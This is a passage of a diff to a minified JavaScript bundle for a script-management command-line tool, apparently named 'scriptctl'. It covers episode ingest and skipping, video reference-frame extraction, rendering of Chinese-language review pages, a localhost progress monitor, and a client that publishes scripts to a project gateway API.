sc(o,y.episodes,a,ac(y.source.path),g,[...c.episodes,u]),!0}async function $y(e){let t=pc.resolve(typeof e.workspace_path=="string"?e.workspace_path:"workspace"),n=vk(e.episode),o=typeof e.reason=="string"?e.reason.trim():"";if(!o)throw Ln("--reason is required.","INGEST_SKIP_REASON_REQUIRED","Record why this episode cannot be parsed.",["--reason <text>"]);let i=await Jo(t,()=>Ok(t,n,o)),r=hs(t),s=Ml(new mt(t)).episodes.map(c=>c.episode);return[{text:i?`Episode ${n} skipped; ingest can continue at episode ${r.next_episode??"end"}.`:`Episode ${n} was already skipped; no changes made.`,data:{workspace:t,episode:n,changed:i,skipped_episodes:s,complete:r.complete??!1,next_episode:r.next_episode??null,script_path:pc.join(t,"script.json")}},G]}import*as uc from"node:fs";import*as vi from"node:path";import{spawnSync as Rk}from"node:child_process";function lc(e,t,n,o){return new S(e,{exitCode:b,errorCode:t,hint:n,data:{actual:o}})}function Mk(e){let t=ec(bn(e)),n=Za(t);if(n)throw lc("Video episode files are not a continuous 1..N sequence.","EVIDENCE_VIDEO_SEQUENCE_INVALID","Rename the linked videos so every script episode has one matching numbered file.",[n]);return t.map(o=>{let i=vi.resolve(o.path),r=uc.statSync(i),s=r.size,c=Math.trunc(r.mtimeMs),a=Rk("ffprobe",["-v","error","-show_entries","format=duration","-of","default=noprint_wrappers=1:nokey=1",i],{encoding:"utf-8"}),d=Number(a.stdout.trim()),p=a.status===0&&Number.isFinite(d)&&d>0?Math.round(d*1e3):void 0;return{episode:o.episode,path:i,ext:o.ext,mime:o.mime,sha256:_e(JSON.stringify({absolutePath:i,sizeBytes:s,mtimeMs:c})),size_bytes:s,mtime_ms:c,duration_ms:p}})}async function Lk(e){let t=vi.resolve(e.scriptPath),n=vi.resolve(e.sourcePath),o=vi.resolve(e.workspacePath),i=Di(JSON.parse(uc.readFileSync(t,"utf-8"))),r=Mk(n);if(r.length!==i.episodes.length)throw lc("The linked video count does not match the script episode count.","EVIDENCE_VIDEO_EPISODE_COUNT_MISMATCH","Bind the complete source-video folder for this script, then retry.",[`script=${i.episodes.length}`,`videos=${r.length}`]);let s=tc(r),c=Wa([],i,Go(),r,s),a=await Jo(o,async()=>{let p=new mt(o);return p.ensure(),nc(p,c,e.signal,e.extractor,{reuseExistingFrames:e.force!==!0})}),d=[...a.items.flatMap(p=>p.samples),...(a.identities??[]).flatMap(p=>p.samples)];return{output:vi.join(o,"evidence","state-evidence.json"),states:a.items.length,identities:a.identities?.length??0,samples:d.length,ready:d.filter(p=>p.frame_status==="ready").length,unavailable:d.filter(p=>p.frame_status==="unavailable").length,sourceSha256:s}}async function Dy(e){let t=me(e),n=typeof e.source_path=="string"?e.source_path.trim():"",o=typeof e.workspace_path=="string"?e.workspace_path.trim():"";if(!n)throw lc("--source-path is required.","EVIDENCE_SOURCE_REQUIRED","Pass the linked source-video file or folder.",["--source-path <path>"]);if(!o)throw lc("--workspace-path is required.","EVIDENCE_WORKSPACE_REQUIRED","Pass the project workspace directory.",["--workspace-path <path>"]);let i=await Lk({scriptPath:t,sourcePath:n,workspacePath:o,force:e.force===!0});return[{text:`Generated ${i.ready}/${i.samples} original-video reference frames for ${i.states} actor states.`,data:{output:i.output,states:i.states,identities:i.identities,samples:i.samples,ready:i.ready,unavailable:i.unavailable,source_sha256:i.sourceSha256}},G]}import*as zo from"node:fs";import*as fc from"node:path";var bt=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),co=e=>Array.isArray(e),He=e=>typeof e=="string"?e:"",Nk={interior:"\u5185",exterior:"\u5916"},Uk={day:"\u65E5",night:"\u591C"},Pk=e=>{let t=e.match(/(\d+)/);return t?Number(t[1]):0},Ck=e=>{let t=e.match(/(\d+)/);return t?Number(t[1]):0};function $l(e,t,n){let o=new Map;if(co(e))for(let i of e)bt(i)&&typeof i[t]=="string"&&o.set(i[t],He(i[n]));return o}function Tk(e,t){let n=new Map;if(co(e))for(let o of e){if(!bt(o)||typeof o[t]!="string")continue;let i=new Map;for(let r of co(o.states)?o.states:[])bt(r)&&typeof r.state_id=="string"&&i.set(r.state_id,He(r.state_name));n.set(o[t],i)}return n}function Vk(e,t){return bt(e)?typeof e.actor_id=="string"?t.get(e.actor_id)??e.actor_id:typeof e.kind=="string"?`${e.kind}${e.label?`:${He(e.label)}`:""}`:"":""}function $k(e){let t=$l(e.actors,"actor_id","actor_name"),n=$l(e.locations,"location_id","location_name"),o=$l(e.props,"prop_id","prop_name"),i=Tk(e.actors,"actor_id"),r=(co(e.episodes)?e.episodes:[]).filter(bt).map(c=>({episode:Pk(He(c.episode_id)),synopsis:He(c.synopsis),scenes:(co(c.scenes)?c.scenes:[]).filter(bt).map(a=>{let d=bt(a.location)?n.get(He(a.location.location_id))??He(a.location.location_id):"",p=[],l={};for(let y of co(a.actors)?a.actors:[]){if(!bt(y)||typeof y.actor_id!="string")continue;let m=t.get(y.actor_id)??y.actor_id;if(p.includes(m)||p.push(m),typeof y.state_id=="string"){let w=(i.get(y.actor_id)?.get(y.state_id)??"")||(y.state_id!=="default"?y.state_id:"");w&&(l[m]=w)}}let f=[];for(let y of co(a.props)?a.props:[])if(bt(y)&&typeof y.prop_id=="string"){let m=o.get(y.prop_id)??y.prop_id;f.includes(m)||f.push(m)}let u=bt(a.environment)?a.environment:{};return{scene_num:Ck(He(a.scene_id)),location_name:d,environment:{space:Nk[He(u.space)]??He(u.space),time:Uk[He(u.time)]??He(u.time)},actor_names:p,actor_states:l,prop_names:f,actions:(co(a.actions)?a.actions:[]).filter(bt).map(y=>({type:He(y.type),content:He(y.content),speaker:Vk(y.speaker,t),emotion:typeof y.emotion=="string"?y.emotion:void 0,extend:bt(y.extend)&&typeof y.extend.timestamp=="string"?{timestamp:y.extend.timestamp}:void 0}))}})})),s=(co(e.actors)?e.actors:[]).filter(bt).map(c=>({asset_name:He(c.actor_name),description:He(c.description),extend:{}}));return{title:He(e.title),actors:s,episodes:r}}function Gy(e){if(!bt(e))throw new Error("review renderer expects a script object");let t=$k(e),n=JSON.stringify(t),o=He(t.title);return`<!DOCTYPE html>
331
331
  <html lang="zh">
332
332
  <head>
333
333
  <meta charset="utf-8">
@@ -648,7 +648,7 @@ tabScript.addEventListener('click',()=>switchTab('script'));
648
648
  tabAssets.addEventListener('click',()=>switchTab('assets'));
649
649
  </script>
650
650
  </body>
651
- </html>`}import*as Jy from"node:http";import*as zo from"node:fs";import*as Un from"node:path";import{spawn as Dk}from"node:child_process";var Gk=e=>e==null?"":String(e);function Bk(e){let t=r=>{try{let s=zo.statSync(Un.join(e,r));return{rel:r,size:s.size,mtime:s.mtimeMs}}catch{return null}},n=(r,s)=>{let c=[];try{c=zo.readdirSync(Un.join(e,r))}catch{return[]}return c.filter(s).sort().map(a=>t(`${r}/${a}`)).filter(a=>!!a)},o=r=>r.filter(s=>!!s),i=r=>n("ep",s=>s.endsWith(r)&&!s.endsWith(".error.json"));return{\u7ED3\u679C:o([t("script.json"),t("validation.json"),t("asset-audit.json"),t("usage.json"),t("review.html"),t("timings.json")]),\u4E0A\u4E0B\u6587:n("serial",r=>r.startsWith("context_")&&r.endsWith(".md")),\u6BCF\u7A97\u66F4\u65B0:n("serial",r=>r.startsWith("win_")&&r.endsWith(".json")),\u7BC7\u7AE0\u6897\u6982:n("serial",r=>r.startsWith("arc_")&&r.endsWith(".md")),\u524D\u6BB5:n("pass2",r=>/^chunk_\d+\.json$/.test(r)),\u8F6C\u5F55:[...i(".ep"),...i(".md").filter(r=>!r.rel.endsWith(".context.md"))].sort((r,s)=>r.rel.localeCompare(s.rel)),\u9001\u6A21\u4E0A\u4E0B\u6587:i(".context.md"),\u89E3\u6790:i(".json"),\u82B1\u540D\u518C:o([t("context.json")]),\u8BA1\u65F6:o([t("timing.jsonl")]),\u4E2D\u95F4\u4EA7\u7269:o([t("script.initial.json"),t("provisional_assets.json"),t("notes.json"),t("id_map.json"),t("manifest.json")])}}function Jk(e){let t="";try{t=zo.readFileSync(Un.join(e,"timing.jsonl"),"utf-8")}catch{return{episodes:[],totalMs:0}}let n=[],o=0;for(let i of t.split(/\r?\n/)){let r=i.trim();if(r)try{let s=JSON.parse(r);if(typeof s.episode!="number")continue;let c={episode:s.episode};typeof s.transcodeMs=="number"&&(c.transcodeMs=s.transcodeMs,o+=s.transcodeMs),typeof s.uploadMs=="number"&&(c.uploadMs=s.uploadMs,o+=s.uploadMs),typeof s.generateMs=="number"&&(c.generateMs=s.generateMs,o+=s.generateMs),typeof s.uploadMB=="string"&&(c.uploadMB=s.uploadMB),typeof s.transcoded=="boolean"&&(c.transcoded=s.transcoded),n.push(c)}catch{}}return{episodes:n,totalMs:o}}function Kk(e){try{return JSON.parse(zo.readFileSync(Un.join(e,"usage.json"),"utf-8"))}catch{return null}}function jk(e,t){let n=Un.resolve(e,t);if(n!==e&&!n.startsWith(e+Un.sep))return{ok:!1};try{return{ok:!0,text:zo.readFileSync(n,"utf-8")}}catch{return{ok:!1}}}function _s(e,t,n,o){e.writeHead(t,{"Content-Type":n,"Cache-Control":"no-store"}),e.end(o)}async function Ky(e){let t=Un.resolve(Gk(e.workspace_path||"workspace")),n=Number(e.port)||0,o=Jy.createServer((s,c)=>{let a=new URL(s.url??"/","http://localhost");if(a.pathname==="/")return _s(c,200,"text/html; charset=utf-8",zk);if(a.pathname==="/api/state"){let d=ws(t);return _s(c,200,"application/json",JSON.stringify({root:t,status:d,groups:Bk(t),timing:Jk(t),usage:Kk(t)}))}if(a.pathname==="/api/file"){let d=a.searchParams.get("path")??"",p=jk(t,d);return p.ok?_s(c,200,"text/plain; charset=utf-8",p.text):_s(c,404,"text/plain","not found")}_s(c,404,"text/plain","not found")}),r=`http://127.0.0.1:${await new Promise((s,c)=>{o.once("error",c),o.listen(n,"127.0.0.1",()=>s(o.address().port))})}/`;if(process.stderr.write(`Ingest monitor: ${r}
651
+ </html>`}import*as By from"node:http";import*as jo from"node:fs";import*as Nn from"node:path";import{spawn as Dk}from"node:child_process";var Gk=e=>e==null?"":String(e);function Bk(e){let t=r=>{try{let s=jo.statSync(Nn.join(e,r));return{rel:r,size:s.size,mtime:s.mtimeMs}}catch{return null}},n=(r,s)=>{let c=[];try{c=jo.readdirSync(Nn.join(e,r))}catch{return[]}return c.filter(s).sort().map(a=>t(`${r}/${a}`)).filter(a=>!!a)},o=r=>r.filter(s=>!!s),i=r=>n("ep",s=>s.endsWith(r)&&!s.endsWith(".error.json"));return{\u7ED3\u679C:o([t("script.json"),t("validation.json"),t("asset-audit.json"),t("usage.json"),t("review.html"),t("timings.json")]),\u4E0A\u4E0B\u6587:n("serial",r=>r.startsWith("context_")&&r.endsWith(".md")),\u6BCF\u7A97\u66F4\u65B0:n("serial",r=>r.startsWith("win_")&&r.endsWith(".json")),\u7BC7\u7AE0\u6897\u6982:n("serial",r=>r.startsWith("arc_")&&r.endsWith(".md")),\u524D\u6BB5:n("pass2",r=>/^chunk_\d+\.json$/.test(r)),\u8F6C\u5F55:[...i(".ep"),...i(".md").filter(r=>!r.rel.endsWith(".context.md"))].sort((r,s)=>r.rel.localeCompare(s.rel)),\u9001\u6A21\u4E0A\u4E0B\u6587:i(".context.md"),\u89E3\u6790:i(".json"),\u82B1\u540D\u518C:o([t("context.json")]),\u8BA1\u65F6:o([t("timing.jsonl")]),\u4E2D\u95F4\u4EA7\u7269:o([t("script.initial.json"),t("provisional_assets.json"),t("notes.json"),t("id_map.json"),t("manifest.json")])}}function Jk(e){let t="";try{t=jo.readFileSync(Nn.join(e,"timing.jsonl"),"utf-8")}catch{return{episodes:[],totalMs:0}}let n=[],o=0;for(let i of t.split(/\r?\n/)){let r=i.trim();if(r)try{let s=JSON.parse(r);if(typeof s.episode!="number")continue;let c={episode:s.episode};typeof s.transcodeMs=="number"&&(c.transcodeMs=s.transcodeMs,o+=s.transcodeMs),typeof s.uploadMs=="number"&&(c.uploadMs=s.uploadMs,o+=s.uploadMs),typeof s.generateMs=="number"&&(c.generateMs=s.generateMs,o+=s.generateMs),typeof s.uploadMB=="string"&&(c.uploadMB=s.uploadMB),typeof s.transcoded=="boolean"&&(c.transcoded=s.transcoded),n.push(c)}catch{}}return{episodes:n,totalMs:o}}function Kk(e){try{return JSON.parse(jo.readFileSync(Nn.join(e,"usage.json"),"utf-8"))}catch{return null}}function jk(e,t){let n=Nn.resolve(e,t);if(n!==e&&!n.startsWith(e+Nn.sep))return{ok:!1};try{return{ok:!0,text:jo.readFileSync(n,"utf-8")}}catch{return{ok:!1}}}function ys(e,t,n,o){e.writeHead(t,{"Content-Type":n,"Cache-Control":"no-store"}),e.end(o)}async function Jy(e){let t=Nn.resolve(Gk(e.workspace_path||"workspace")),n=Number(e.port)||0,o=By.createServer((s,c)=>{let a=new URL(s.url??"/","http://localhost");if(a.pathname==="/")return ys(c,200,"text/html; charset=utf-8",zk);if(a.pathname==="/api/state"){let d=hs(t);return ys(c,200,"application/json",JSON.stringify({root:t,status:d,groups:Bk(t),timing:Jk(t),usage:Kk(t)}))}if(a.pathname==="/api/file"){let d=a.searchParams.get("path")??"",p=jk(t,d);return p.ok?ys(c,200,"text/plain; charset=utf-8",p.text):ys(c,404,"text/plain","not found")}ys(c,404,"text/plain","not found")}),r=`http://127.0.0.1:${await new Promise((s,c)=>{o.once("error",c),o.listen(n,"127.0.0.1",()=>s(o.address().port))})}/`;if(process.stderr.write(`Ingest monitor: ${r}
652
652
  Workspace: ${t}
653
653
  Press Ctrl-C to stop.
654
654
  `),process.platform==="darwin"&&process.stderr.isTTY)try{Dk("open",[r],{detached:!0,stdio:"ignore"}).unref()}catch{}return process.once("SIGINT",()=>o.close()),process.once("SIGTERM",()=>o.close()),[{text:r,data:{url:r,workspace:t}},G]}var zk=`<!doctype html><html lang="zh"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
@@ -849,7 +849,7 @@ function poll(){
849
849
  }).catch(function(){$('#tick').textContent='\u25CF \u79BB\u7EBF'});
850
850
  }
851
851
  poll();setInterval(poll,1500);setInterval(renderTiming,1000);
852
- </script></body></html>`;function jy(e,t){let n=new Map(e.actors.map(s=>[s.actor_id,s.actor_name])),o=new Map(e.locations.map(s=>[s.location_id,s.location_name])),i={title:e.title,documents:t,episodes:e.episodes.map((s,c)=>({title:s.title??`\u7B2C ${c+1} \u8BDD`,synopsis:s.synopsis??"",scenes:s.scenes.map((a,d)=>({title:`${d+1} \xB7 ${a.location?o.get(a.location.location_id):"\u672A\u660E\u786E\u5730\u70B9"}`,actions:a.actions.map(p=>{let l=ui.safeParse(p.extend);return{id:p.action_id,type:p.type,content:p.content,source:l.success?l.data.scriptctl.source:null,speaker:"speaker"in p?"actor_id"in p.speaker?n.get(p.speaker.actor_id):p.speaker.label??p.speaker.kind:"",parenthetical:"parenthetical"in p?p.parenthetical:""}})}))})),actors:e.actors.map(s=>({name:s.actor_name,description:s.description,states:s.states}))};return`<!doctype html>
852
+ </script></body></html>`;function Ky(e,t){let n=new Map(e.actors.map(s=>[s.actor_id,s.actor_name])),o=new Map(e.locations.map(s=>[s.location_id,s.location_name])),i={title:e.title,documents:t,episodes:e.episodes.map((s,c)=>({title:s.title??`\u7B2C ${c+1} \u8BDD`,synopsis:s.synopsis??"",scenes:s.scenes.map((a,d)=>({title:`${d+1} \xB7 ${a.location?o.get(a.location.location_id):"\u672A\u660E\u786E\u5730\u70B9"}`,actions:a.actions.map(p=>{let l=li.safeParse(p.extend);return{id:p.action_id,type:p.type,content:p.content,source:l.success?l.data.scriptctl.source:null,speaker:"speaker"in p?"actor_id"in p.speaker?n.get(p.speaker.actor_id):p.speaker.label??p.speaker.kind:"",parenthetical:"parenthetical"in p?p.parenthetical:""}})}))})),actors:e.actors.map(s=>({name:s.actor_name,description:s.description,states:s.states}))};return`<!doctype html>
853
853
  <html lang="zh-CN"><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
854
854
  <title>\u6F2B\u753B\u5267\u672C\u5BA1\u9605</title>
855
855
  <style>
@@ -998,39 +998,39 @@ if(model.episodes.length){
998
998
  const action=actions.find(action=>action.id===requested.get('action'));
999
999
  if(action?.source){const page=Number(requested.get('page'));selectAction(action,action.source.pages.includes(page)?page:action.source.pages[0],true,requested.has('region')?Number(requested.get('region')):undefined);}
1000
1000
  }
1001
- </script></html>`}var Hk=e=>e==null?"":String(e),Qk=e=>String(e).padStart(3,"0");function Fk(e){if(!e.has("manifest.json"))return;let t=e.readJson("manifest.json");if(!Array.isArray(t.episodes))return;let n=e.path("src");Ho.mkdirSync(n,{recursive:!0});for(let o of t.episodes){if(typeof o.episode!="number"||typeof o.path!="string")continue;let i=mc.join(n,`ep_${Qk(o.episode)}.mp4`);try{Ho.rmSync(i,{force:!0}),Ho.symlinkSync(o.path,i)}catch{}}}async function zy(e){if(e.watch){if((process.env.SANDBOX_PROJECT_GROUP_NO??"").trim())throw new S("`view --watch` runs a local web server and opens a browser; it is local-only and unavailable in the sandbox.",{exitCode:b,errorCode:"VIEW_WATCH_SANDBOX",hint:"Use `scriptctl ingest status` for progress in the sandbox; run `view --watch` on your local machine."});return Ky(e)}let t=Hk(e.workspace_path||"workspace"),n=new mt(mc.resolve(t));if(!n.has("script.json"))throw new S("workspace has no script.json to render.",{exitCode:b,errorCode:"VIEW_NO_SCRIPT",hint:"Run `scriptctl ingest --source-path <src> --workspace-path <dir>` first.",data:{actual:[n.path("script.json")]}});let o=n.has("manifest.json")?n.readJson("manifest.json"):null,i;if(o?.source?.kind==="comic-file"||o?.source?.kind==="comic-directory"){let s=n.readJson("manifest.json"),c=Gi(n.readJson("script.json")),a=new Set;for(let p of c.episodes)for(let l of p.scenes)for(let f of l.actions){let u=ui.safeParse(f.extend);u.success&&a.add(u.data.scriptctl.source.document_id)}let d=[];n.passDir("src");for(let p of a){let l=s.episodes.find(y=>y.document_id===p);if(!l)throw new S(`Unknown comic source document: ${p}`,{exitCode:b,errorCode:"VIEW_COMIC_SOURCE_MISSING"});let f=n.path(`src/${l.document_id}.pdf`);Ho.rmSync(f,{force:!0}),Ho.symlinkSync(l.path,f);let u=await wa(l,n.root);d.push({id:l.document_id,title:l.title,pdf:`src/${l.document_id}.pdf`,images:u})}i=jy(c,d)}else Fk(n),i=By(n.readJson("script.json"));n.writeText("review.html",i);let r=n.path("review.html");return[{text:r,data:{output:r}},G]}import*as Ri from"node:path";import Yk from"fast-json-patch";var{compare:Hy}=Yk;var Qy="/api/anime/workbench/v2/script/project-groups",qk="/api/anime/workbench/projectGroup/updateProjectGroupInfo",Zk=5e3,Fy=8*1024*1024;function Wk(e){let t=e.trim().replace(/\/+$/,"");for(let n of["/api/anime/workbench","/api/sandbox"])if(t.endsWith(n)){t=t.slice(0,-n.length);break}return t.replace(/\/+$/,"")}function Yy(e){return encodeURIComponent(String(e))}function Xk(e,t,n){if(t===404&&n.includes("/imports"))return new fe("backend lacks episode import API",{status:t,payload:e});let o=null;try{o=e?JSON.parse(e):null}catch{o=null}if(o&&typeof o=="object"){let i=o,r=String(i.msg??i.message??`HTTP ${t}`);return new fe(r,{status:t,code:i.code??null,payload:i})}return new fe(e||`HTTP ${t}`,{status:t,payload:e})}function qy(e,t){let n=Buffer.byteLength(JSON.stringify(t),"utf8");if(!(n<=Fy))throw new fe(`script ${e} body too large: ${n} bytes (limit ${Fy})`)}async function Zy(e,t,n,o,i,r={}){let s=r.body===void 0?void 0:JSON.stringify(r.body),c={Accept:"application/json","X-Access-Key":t};s!==void 0&&(c["Content-Type"]="application/json; charset=utf-8");let a=new AbortController,d=setTimeout(()=>a.abort(),n),p,l;try{let m=await fetch(`${e}${i}`,{method:o,headers:c,body:s,signal:a.signal});p=m.status,l=await m.text()}catch(m){if(m instanceof Error&&m.name==="AbortError")throw new fe("Gateway request timed out");let g=m instanceof Error?m.message:String(m);throw new fe(`Gateway request failed: ${g}`)}finally{clearTimeout(d)}if(p>=400)throw Xk(l,p,i);let f=null;if(l)try{f=JSON.parse(l)}catch{throw new fe("Gateway response is not valid JSON",{status:p,payload:l})}if(f===null)return null;if(typeof f!="object")return f;let u=f,y=u.code;if(y!=null&&String(y)!=="200"){let m=String(u.msg??u.message??"script-output API failed");if(r.allowMissing&&typeof m=="string"&&m.includes("\u5267\u672C\u4E0D\u5B58\u5728"))return null;throw new fe(m,{status:p,code:y,payload:u})}return"data"in u?u.data:u}var Gl=class e{gatewayBase;projectGroupNo;accessKey;timeoutMs;constructor(t){this.gatewayBase=t.gatewayBase,this.projectGroupNo=t.projectGroupNo,this.accessKey=t.accessKey,this.timeoutMs=t.timeoutMs??3e5}static fromEnv(t){let n=(t??process.env.SANDBOX_PROJECT_GROUP_NO??"").trim();if(!n)throw new fe("projectGroupNo missing; pass --project-group-no or set SANDBOX_PROJECT_GROUP_NO",{configMissing:"project"});let o=Wk(process.env.AWB_BASE_URL||"");if(!o)throw new fe("gateway URL missing; set AWB_BASE_URL",{configMissing:"gateway"});let i=(process.env.LINGJING_AWB_ACCESS_KEY||"").trim();if(!i)throw new fe("access key missing; set LINGJING_AWB_ACCESS_KEY",{configMissing:"access"});return new e({gatewayBase:o,projectGroupNo:n,accessKey:i})}get projectPrefix(){return`${Qy}/${Yy(this.projectGroupNo)}`}async getScript(){return await this.request("GET",this.projectPrefix,{allowMissing:!0})}async getRevision(){return await this.request("GET",`${this.projectPrefix}/revision`,{allowMissing:!0})}async getSnapshot(){return await this.request("GET",`${this.projectPrefix}/snapshot`,{allowMissing:!0})}async publishPatch(t){return await this.request("PATCH",`${this.projectPrefix}/publish`,{body:{baseRevision:t.baseRevision,patch:Hy(t.old,t.edited),validation:t.validation}})}async replaceScript(t){let n={requestId:t.requestId,baseRevision:t.baseRevision,source:t.source??"ctl",script:t.script};return qy("root",n),await this.request("PUT",this.projectPrefix,{body:n})}async patchScript(t){let n=Hy(t.old,t.edited),o={requestId:t.requestId,baseRevision:t.baseRevision,source:t.source??"ctl",patch:n};return qy("patch",o),await this.request("PATCH",this.projectPrefix,{body:o})}async saveValidationResult(t){return await this.request("POST",`${Qy}/${Yy(this.projectGroupNo)}/validation-result`,{body:{revision:t.revision,validationStatus:t.validationStatus,validationSummary:t.validationSummary,issues:t.issues}})}async updateEpisodeCount(t){await Zy(this.gatewayBase,this.accessKey,Math.min(this.timeoutMs,Zk),"POST",qk,{body:{projectGroupNo:this.projectGroupNo,episodeCount:t}})}async request(t,n,o={}){return Zy(this.gatewayBase,this.accessKey,this.timeoutMs,t,n,o)}};function Bl(e){return Gl.fromEnv(e)}var Es=class{workspace;script;version;baseline;baselineHash;scriptPath;client;projectGroupNo;revision;constructor(t){this.workspace=t.workspace,this.script=t.script,this.version=Wo(t.script),this.baseline=structuredClone(t.script),this.baselineHash=Je(t.script),this.scriptPath=t.scriptPath??null,this.client=t.client??null,this.projectGroupNo=t.projectGroupNo??null,this.revision=t.revision??null}get remote(){return this.client!==null}get artifactLabel(){return this.remote?`script-output/${this.projectGroupNo}@revision/${this.revision??0}`:this.scriptPath??""}};function Qo(e,t){let n=t.message||"script-output API failed",o=String(t.code)==="9002"||n.includes("\u7248\u672C\u51B2\u7A81"),i=n.includes("\u5267\u672C\u4E0D\u5B58\u5728"),r=o?"Script has been updated by another revision; keep local work and merge before retrying.":i?"Script not found on the gateway.":"Gateway request failed.";return new S(r,{exitCode:t.status!==null&&t.status>=500?X:b,errorCode:o?"REVISION_CONFLICT":i?"SCRIPT_NOT_FOUND":"SCRIPT_API_FAILED",hint:o?"Keep the local file, inspect the latest remote snapshot, and merge before publishing again.":i?"Run `scriptctl publish` to publish a script first.":"Run `scriptctl doctor` to verify gateway configuration; retry if it was transient.",data:{expected:["successful script-output gateway request"],actual:[n,`status: ${t.status??"<unknown>"}`]}})}async function xs(e){let t=v(e.workspace_path||"workspace"),n=me(e);if(!Yo(n))throw new S("Local script file not found.",{exitCode:b,errorCode:"SCRIPT_NOT_FOUND",hint:"Run `scriptctl checkout`, `scriptctl create`, or pass --script-path to an existing script.",data:{expected:["existing local script JSON"],actual:[n]}});let o;try{o=Ar(n)}catch(i){throw new S("script JSON invalid.",{exitCode:b,errorCode:"SCRIPT_JSON_INVALID",hint:"Fix the local script JSON syntax before editing.",data:{expected:["valid JSON"],actual:[`${n}: ${i.message}`]}})}if(!oe(o))throw new S("script root invalid.",{exitCode:B,errorCode:"SCRIPT_ROOT_INVALID",hint:"Use a valid script document object.",data:{expected:["script root object"],actual:[Array.isArray(o)?"array":typeof o]}});return new Es({workspace:t,scriptPath:n,script:o})}function Ss(e,t={}){let n=Jl(e.script);return e.remote&&(n.script_path=e.artifactLabel),n}function eb(e,t){let{ok:n,errors:o,warnings:i}=t,r=[...o.map(d=>({severity:"error",code:d.code,path:d.path,summary:d.message,...d.repair_hint?{repair_hint:d.repair_hint}:{}})),...i.map(d=>({severity:"warning",code:d.code,path:d.path,summary:d.message,...d.repair_hint?{repair_hint:d.repair_hint}:{}}))],s=re(e.episodes),c=0,a=0;for(let d of s)for(let p of re(d.scenes))c+=1,a+=re(p.actions).length;return{passed:n,has_blocking:!n,issues:r,stats:{actors:re(e.actors).length,locations:re(e.locations).length,props:re(e.props).length,episodes:s.length,scenes:c,actions:a}}}function Jl(e){return eb(e,Ur(e))}function tb(e){if(e.path)return v(e.path);let t=[];return e.episode!==null&&e.episode!==void 0&&t.push(v(e.episode)),e.scene!==null&&e.scene!==void 0&&t.push(v(e.scene)),e.action_index!==null&&e.action_index!==void 0&&t.push(`action[${e.action_index}]`),t.length>0?t.join("/"):null}function nb(e){let t=v(e||"info");return t==="blocking"||t==="error"?"error":t==="warning"?"warning":"info"}function ob(e){let t=re(e.issues),n=e.passed?"valid":"invalid",o={passed:!!e.passed,hasBlocking:!!e.has_blocking,stats:e.stats??{},issueCount:t.length},i=[];for(let r of t){if(!oe(r))continue;let s={...r};for(let c of["severity","code","path","summary","repair_hint"])delete s[c];i.push({severity:nb(r.severity),code:v(r.code||"SCRIPT_VALIDATION_ISSUE"),path:tb(r),summary:v(r.summary),repairHint:r.repair_hint,payload:s})}return[n,o,i]}async function Kl(e,t,n){if(!e.remote||e.client===null)return;let o=Number(n??e.revision??0);if(o<=0)return;let[i,r,s]=ob(t);try{await e.client.saveValidationResult({revision:o,validationStatus:i,validationSummary:r,issues:s})}catch(c){throw c instanceof fe?Qo("SCRIPT API BLOCKED: Validation sync failed",c):c}}async function jl(e,t,n){if(e.scriptPath===null)throw new Error("local script session missing script path");return Gt(e.scriptPath,e.baselineHash),Fe(e.scriptPath,e.script),[null,!1]}async function Wy(e,t=no){let n=await xs(e),o=t.createExecutor(v(e.llm_config).trim()||void 0),i=await al(n.script,o);n.scriptPath&&Gt(n.scriptPath,n.baselineHash);let r=n.scriptPath?Ri.dirname(n.scriptPath):Ri.resolve(n.workspace),s=Ri.resolve(v(e.output).trim()||Ri.join(r,"asset-audit.json"));Fe(s,i);let c=i.issues.length>0,a=i.issues.map(cl);return[{text:[`${i.summary.issues} issues; confidence high=${i.summary.high} medium=${i.summary.medium} low=${i.summary.low}`,...a,`output: ${s}`,...c?["Inspect each finding, repair confirmed duplicates, then rerun `scriptctl audit-assets` and `scriptctl validate`."]:[]].join(`
1002
- `),data:{op:"script.audit-assets",changed:!1,issues:i.issues,output:s,asset_audit:i,config_source:o.configSource,llm_routes:o.usage()}},c?fo:G]}function Xy(e=""){return{version:4,title:e,worldview:"",style:"",actors:[],locations:[],props:[],episodes:[]}}function Fo(e){let t=oe(e.location)?e.location:null;return{actors:Bn(e.actors)?e.actors:[],props:Bn(e.props)?e.props:[],locations:t&&String(t.location_id??"").trim()?[t]:[]}}function cw(e,t,n){let o=!!t.passed,i=[`created: blank script (Script v${e.version})`,`validation: ${o?"passed":"needs repair"}`];return e.remote&&(i.push(`revision: ${e.revision}`),n!==null&&i.push(`idempotent: ${String(n).toLowerCase()}`)),{text:i.join(`
1003
- `),data:{op:"script.create",changed:!0,validation:t,script_path:e.artifactLabel,...e.remote?{revision:e.revision,idempotent:n}:{}}}}async function dw(e){let t=v(e.workspace_path||"workspace"),n=!!e.force,o=v(e.title).trim(),i=Xy(o),r=me(e);if(Yo(r)&&!n)throw new S("A script already exists at the target.",{exitCode:b,errorCode:"SCRIPT_EXISTS",hint:"Edit the existing script with the atomic verbs, or pass --force to overwrite with a blank scaffold.",data:{expected:["a non-existent target, or --force to overwrite"],actual:[r]}});Fe(r,i);let s=new Es({workspace:t,scriptPath:r,script:i}),c=Ss(s),a=!!c.passed;return[cw(s,c,null),a?G:fo]}import*as Er from"node:fs";import*as Li from"node:path";function yb(e){let t={};for(let n of e.episodes)for(let o of n.scenes){let i=`${n.episode_id}/${o.scene_id}`;o.actions.forEach((r,s)=>{let c=`${i}#${s}`;t[c]=c})}return t}function Mi(e){return oe(e)&&Object.values(e).every(t=>typeof t=="string")}function wb(e){return oe(e)&&Object.values(e).every(Mi)}function _b(e){return oe(e)&&e.version===3&&Mi(e.actor)&&Mi(e.location)&&Mi(e.prop)&&wb(e.state)&&Mi(e.episode)&&Mi(e.scene)&&Mi(e.action)}function Eb(e){if(e!==void 0){if(_b(e.identityMap))return e.identityMap;throw new S("Migration manifest contains an invalid v3-to-v4 identity map.",{exitCode:b,errorCode:"MIGRATE_MANIFEST_INVALID"})}}function pw(e,t){let n=Tt(e),o=cr(n,Eb(t),{action:yb(n)});return{script:o.script,artifact:{sourceVersion:3,targetVersion:4,identityMap:o.identityMap}}}var xb=[{sourceVersion:3,targetVersion:4,migrate:pw}];function Sb(e){return oe(e)&&wo(e.source_version)&&wo(e.target_version)&&e.source_version<e.target_version&&"identity_map"in e}function lw(e){if(!Array.isArray(e))throw new S("Migration manifest steps must be an array.",{exitCode:b,errorCode:"MIGRATE_MANIFEST_INVALID"});return 